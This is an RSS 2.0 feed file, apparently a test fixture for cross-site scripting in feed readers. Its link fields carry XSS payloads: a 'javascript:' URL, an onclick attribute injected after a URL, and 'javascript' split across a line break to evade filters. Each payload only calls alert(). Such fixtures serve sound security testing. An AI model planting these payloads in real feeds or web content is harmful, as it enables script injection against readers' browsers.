rss_xss.xml

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
        <channel>
                <title>toto</title>
                <description>This is a simplified example of the RSS feed</description>
                <link>javascript:alert(3)</link>
                <copyright>2021 fileformat.com All rights reserved</copyright>
                <lastBuildDate>Wed, 22 Jun 2021 00:01:00 +0000</lastBuildDate>
                <pubDate>Wed, 22 Jun 2021 16:20:00 +0000</pubDate>
                <ttl>1800</ttl>
                <item>
                        <title>1</title>
                        <description>Here is some text containing an interesting description</description>
                        <link>https://google.com onclick=javascript:alert(1)</link>
                        <guid isPermaLink="false">9bd605d5-1921-8i67-dgft-65g635d3587u</guid>
                        <pubDate>Wed, 22 Jun 2021 16:20:00 +0000</pubDate>
                </item>
                <item>
                        <title>2</title>
                        <description>Here is some text containing an interesting description</description>
                        <link>java
script:alert(3)</link>
                        <guid isPermaLink="false">9bd605d5-1921-8i67-dgft-65g635d3587u</guid>
                        <pubDate>Wed, 22 Jun 2021 16:20:00 +0000</pubDate>
                </item>
        </channel>
</rss>